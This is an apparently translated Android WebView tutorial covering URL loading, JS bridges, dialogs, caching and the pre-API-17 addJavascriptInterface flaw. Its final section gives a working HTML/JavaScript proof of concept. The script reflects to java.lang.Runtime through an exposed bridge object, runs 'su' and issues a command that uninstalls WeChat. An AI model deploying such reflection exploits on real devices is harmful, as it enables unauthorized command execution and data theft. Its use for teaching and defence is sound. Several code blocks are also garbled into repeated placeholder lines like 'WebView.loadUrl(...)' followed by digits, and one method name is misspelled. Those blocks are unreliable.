Notes on Common Methods of WebView in Android Application Development

  • 2021-07-13 06:13:24
  • OfStack

Basic use
Using WebView usually requires a network, so you need to add access to the network


<uses-permission android:name="android.permission.INTERNET" />

1. Method to load an url


WebView.loadUrl("http://www.baidu.com");

Be careful not to omit the previous http://. If omitted, WebView in some ROM will fail to load
2. Load HTML in assets


WebView.loadUrl("file:///android_asset/xxx.html")

3. Load 1 segment of javascript


WebView.loadUrl("javascript:" + ${js_code})

4. Provide local methods for js
As follows, provide a method of showToast to javascript


private static class JavaJs {
  private Context context;
  JavaJs(Context context) {
    this.context = context;
  }
  @JavascriptInterface
  public void showToast(String str) {
    Toast.makeText(context, str, Toast.LENGTH_LONG).show();
  }
}
webView.addJavascriptInterface(new JavaJs(this), "JavaJs");


<script type="text/javascript">
  JavaJs.showToast("toast from js");
</script>

Note:

The method provided to javascript must be public, otherwise js cannot access it The method provided to javascript will be executed in the thread managed by WebView, so it should be thread safe. (Toast supports show () in non-UI threads, so the above showToast method is no problem.) Method 1 provided to javascript must be added with @ JavascriptInterface Before Android 4.2 and Api 17, javascript could perform some dangerous operations by reflecting java objects, such as reflecting to Runtime and then executing shell command Although @ JavascriptInterface was added before Api 17, we recommend adding this annotation to the method provided to javascript until Api 17. (JSR-175 specifies that if annotation is missing at runtime, it will be ignored directly and ClassNotFoundException will not be thrown) For devices prior to Android 4.2, we recommend not providing methods to javascript through addJavascriptInterface, and removing java objects added by WebView itself through removeJavascriptInterface ("searchBoxJavaBridge_").

5. Page jump


webView.setWebViewClient(new WebViewClient() {

  @Override
  public boolean shouldOverrideUrlLoading(WebView view, String url) {
    if (Uri.parse(url).getHost().equals("www.xxx.com")) {
      //  Your own page , Direct use WebView Loading 
      return false;
    }
    //  Pages of other companies , Open with a browser 
    Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
    startActivity(intent);
    return true;
  }
});

6. Access history rollback


@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
  if ((keyCode == KeyEvent.KEYCODE_BACK) && webView.canGoBack()) {
    webView.goBack();
    return true;
  }
  return super.onKeyDown(keyCode, event);
}

7. Output javascript log information in Logcat
Override onConsoleMessage method in WebChromeClient


@Override
public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
  Log.d("WebView", consoleMessage.message() + " js line: " + consoleMessage.lineNumber());
  return true;
}

8. Warning Box alert Supporting javascript
Override the onJsAlert method in WebChromeClient


@Override
public boolean onJsAlert(WebView view, String url, String message, final JsResult result) {
  new AlertDialog.Builder(MainActivity.this)
      .setTitle("JsAlert")
      .setMessage(message)
      .setPositiveButton("OK", new DialogInterface.OnClickListener() {
        @Override
        public void onClick(DialogInterface dialog, int which) {
          result.confirm();
        }
      })
      .setCancelable(false)
      .show();
  return true;
}

9. Confirmation Box confirm Supporting javascript
Override the onJsConfirm method in WebChromeClient


@Override
public boolean onJsConfirm(WebView view, String url, String message, final JsResult result) {
  new AlertDialog.Builder(MainActivity.this)
      .setTitle("JsConfirm")
      .setMessage(message)
      .setPositiveButton("OK", new DialogInterface.OnClickListener() {
        @Override
        public void onClick(DialogInterface dialog, int which) {
          result.confirm();
        }
      })
      .setNegativeButton("Cancel", new DialogInterface.OnClickListener() {
        @Override
        public void onClick(DialogInterface dialog, int which) {
          result.cancel();
        }
      })
      .setCancelable(false)
      .show();
  return true;
}

10. Support javascript Question Box prompt
Overriding the onJsPrompt method in WebChromeClient


WebView.loadUrl("http://www.baidu.com");
0

11. Display blank pages


WebView.loadUrl("http://www.baidu.com");
1

12. Clear the return stack WebView. clearHistory
13. Get access history list WebView. copyBackForwardList
14. Download WebView. setDownloadListener
15.pauseTimers, onPause, resumeTimers, onResume

pauseTimers, onPause stop parsing, javascript execute, etc. The difference is that onPause only works on the calling WebView, while pauseTimers works on all WebView in the current application
resumeTimers, onResume resume parsing, javascript execute, etc. The difference is that onResume only works on the calling WebView, while resumeTimers works on all WebView in the current application

Common settings
1. Safety-related (remove unnecessary JavaBridge)


WebView.loadUrl("http://www.baidu.com");
2

2. js correlation


// Set up support javascript, The default is false
WebSettings.setJavaScriptEnabled(true);

3. Zoom Dependence


WebView.loadUrl("http://www.baidu.com");
4

4. Render correlation


WebView.loadUrl("http://www.baidu.com");
5

The effect is similar to:


WebView.loadUrl("http://www.baidu.com");
6

Note: px here is different from the common pixel, it is very similar to the concept of dp. See Mozilla

Front-end storage related settings (convenient for front-end engineers to store data on the client)


WebView.loadUrl("http://www.baidu.com");
7

5. Cache related settings


// Set up when loading resources , How to use cache
// The default setting is :WebSettings.LOAD_DEFAULT
// When WebView Normal loading 1 Pages , If the cache hits and does not expire , The cached data is used , Otherwise load from the network , When WebView.goBack() Hour , If the cache hits , Direct use , Expiration will not be verified 
// Other settings available :LOAD_CACHE_ELSE_NETWORK, LOAD_NO_CACHE, LOAD_CACHE_ONLY
WebSettings.setCacheModel(WebSettings.LOAD_DEFAULT);

6. cookie correlation


WebView.loadUrl("http://www.baidu.com");
9


Security Problems of addJavascriptInterface
1. Ways to provide native interface for javascript

Android WebView provides an addJavascriptInterface method to create an JavaBridge for an javascript.
For example, provide js with an showToast method:


private static class JavaJs {
  private Context context;
  JavaJs(Context context) {
    this.context = context;
  }
  @JavascriptInterface
  public void showToast(String str) {
    Toast.makeText(context, str, Toast.LENGTH_LONG).show();
  }
}
webView.addJavascriptInterface(new JavaJs(this), "JavaJs");


<script type="text/javascript">
  JavaJs.showToast("toast from js");
</script>

2. Security issues

Before Api 17, after WebView provided java object for javascript, java reflection Api can be called using javascript code to perform some hack operations, causing security problems. ( < font color=red > Note: < /font > The lower version of WebView will add an searchBoxJavaBridge_ object by itself, which we usually need to remove by ourselves.)
After Api 17, WebView prevents javascript calls from adding the @ JavascriptInterface method, thus avoiding the above problems. ( < font color=red > Note: < /font > It is recommended that you always add @ JavascriptInterface, regardless of the Api version, because the absence of annotation will not lead to ClassNotFoundException, but will only be ignored by jvm.)
Example of security issues (uninstall WeChat through javascript)

Many things can be done through reflection, such as an object like UserInfo. If it is a singleton, it is easy to get the user's username, email address, mobile phone number and other information.
A simple page is shown here. When the HTML is opened through WebView, the WeChat on the mobile phone will be uninstalled (provided that the app has root permission).


<html>
  <head>
    <script>
      function toByteArray(str) {
        var ch, stack, result = [];
        for(var i = 0; i < str.length; ++i) {
          ch = str.charCodeAt(i);
          stack = [];
          do {
            stack.push(ch & 0xFF);
            ch = ch >> 8;
          } while(ch);

          result = result.concat(stack.reverse());
        }
        return result;
      }

      function execCmd(outputStream) {
        var cmd = "adb shell pm uninstall com.tencent.mm";
        outputStream.write(toByteArray(cmd));
        outputStream.close();
      }

      function toString(inputStream) {
        var result = "";
        var c;
        while((c = inputStream.read()) != -1) {
          var s = String.fromCharCode(c);
          result += s;
        }
        return result;
      }

      function hack() {
        for(var obj in window) {
          if("getClass" in window[obj]) {
            console.log(obj);
            var runtime = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null);

            var p = runtime.exec(["su"]);

            execCmd(p.getOutputStream());
            alert(toString(p.getInputStream()));
            break;
          }
        }
      }

      hack();
    </script>
  </head>

<body>
   Uninstall WeChat  :)
</body>
</html>


Related articles: